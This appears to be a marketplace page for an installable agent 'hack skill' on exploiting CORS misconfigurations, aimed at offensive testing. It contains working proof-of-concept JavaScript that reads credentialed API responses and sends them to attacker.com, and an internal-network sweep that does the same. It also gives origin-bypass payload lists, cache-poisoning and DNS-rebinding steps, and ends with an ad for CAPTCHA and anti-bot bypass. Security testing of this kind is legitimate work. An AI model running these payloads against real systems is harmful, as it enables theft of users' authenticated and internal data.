cors-cross-origin-misconfiguration

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill cors-cross-origin-misconfiguration
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

  • Responses contain Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers
  • A browser-based attack path might read authenticated API responses
  • JSON endpoints appear protected from CSRF but are readable cross-origin

2. HIGH-VALUE MISCONFIGURATION CHECKS

Theme

What to Check

wildcard with credentials

Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior

reflected origin

server echoes arbitrary Origin

weak allowlist

suffix, prefix, substring, regex, or mixed-case matching errors

null origin

acceptance of sandboxed, file, or serialized origins

preflight trust

overbroad methods and headers

internal API exposure

admin or tenant data readable cross-origin

3. QUICK TRIAGE

  • Send crafted Origin headers and inspect reflection.
  • Test with and without credentials.
  • Probe allowlist bypasses using attacker subdomains and parser edge cases.
  • If readable data is sensitive, chain to account or tenant impact.

4. RELATED ROUTES

5. NULL ORIGIN EXPLOITATION

How Origin: null is sent

Context

Origin Header Value

Sandboxed iframe (<iframe sandbox>)

null

data: URI scheme

null

file: protocol (local HTML)

null

Cross-origin redirect chain (some browsers)

null

Serialized data in blob: URL from opaque origin

null

Exploitation

If the server includes null in its origin allowlist or reflects it:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="

<script>

fetch('https://target.com/api/user/profile', {credentials: 'include'})

  .then(r => r.json())

  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));

</script>

"></iframe>

The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.

6. SUBDOMAIN XSS → CORS BYPASS CHAIN

Attack flow

1. Target API at api.target.com allows CORS from *.target.com

2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.

3. Exploit XSS to make credentialed requests to api.target.com

4. CORS allows the request → attacker reads sensitive API responses

PoC (injected via XSS on blog.target.com)

fetch('https://api.target.com/v1/user/profile', {

    credentials: 'include'

})

.then(r => r.json())

.then(data => {

    navigator.sendBeacon('https://attacker.com/exfil',

        JSON.stringify(data));

});

Why this works

  • blog.target.com is same-site with api.target.comSameSite cookies sent
  • CORS allowlist includes *.target.comAccess-Control-Allow-Origin: https://blog.target.com
  • Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain

Reconnaissance for this chain

□ Enumerate subdomains (amass, subfinder, crt.sh)

□ Test each for XSS (stored, reflected, DOM)

□ Check if API CORS accepts subdomain origins

□ Subdomain takeover candidates also qualify

7. VARY: ORIGIN CACHING ISSUE

Problem

When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

1. Attacker requests: Origin: https://attacker.com

   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)

   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com

   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)

Detection

# Request 1: with attacker origin

curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin

curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com

# → cache poisoned, Vary: Origin is missing

Exploitation

1. Warm the cache: send request with Origin: https://attacker.com

2. Wait for victim to access the same cached URL

3. Cached ACAO header allows attacker.com to read the response

4. Attacker page fetches the URL → reads cached response with credentials

Fix verification

□ Response includes Vary: Origin

□ Cache key includes the Origin header

□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)

8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

Intended Pattern

Flaw

Bypass Origin

^https?://.*\.target\.com$

.* matches anything including -

https://attacker-target.com

^https?://.*target\.com$

Missing anchor after subdomain

https://nottarget.com, https://attacker.com/.target.com

target\.com (substring match)

No anchors

https://attacker.com?target.com

^https?://(.*\.)?target\.com$

Missing port restriction

https://target.com.attacker.com:443

^https://[a-z]+\.target\.com$

Missing end anchor for path

N/A (but misses subdomains with - or digits)

Backtracking-vulnerable regex

ReDoS

https://aaaa...aaa.target.com (CPU exhaustion)

Test payloads for origin validation bypass

https://attacker.com/.target.com

https://target.com.attacker.com

https://attackertarget.com

https://target.com%60attacker.com

https://target.com%2F@attacker.com

https://attacker.com#.target.com

https://attacker.com?.target.com

null

Advanced: Unicode normalization bypass

https://target.com → https://ⓣarget.com (Unicode homoglyph)

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.

9. INTERNAL NETWORK CORS EXPLOITATION

Scenario

An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:

Access-Control-Allow-Origin: *

Internal APIs often use wildcard CORS because "only internal users can reach it."

Attack chain

1. Attacker sends victim (internal employee) a link to attacker.com

2. Attacker page JavaScript fetches internal API:

   fetch('http://192.168.1.100:8080/admin/users')

3. CORS allows * → response readable

4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser

const internalAPIs = [

    'http://192.168.1.1/admin/config',

    'http://10.0.0.1:8080/api/users',

    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch

    'http://localhost:8500/v1/agent/members', // Consul

];

internalAPIs.forEach(url => {

    fetch(url)

        .then(r => r.text())

        .then(data => {

            navigator.sendBeacon('https://attacker.com/exfil',

                JSON.stringify({url, data}));

        })

        .catch(() => {});

});

Port scanning via CORS timing

Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:

  • Port open: connection established → CORS error (different timing)
  • Port closed: connection refused → fast error
  • Host down: timeout → slow error

Combined with DNS rebinding

1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)

2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)

3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)

4. JavaScript on the page fetches attacker.com/admin → now hits internal server

5. Same-origin policy satisfied (same domain) → response readable
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card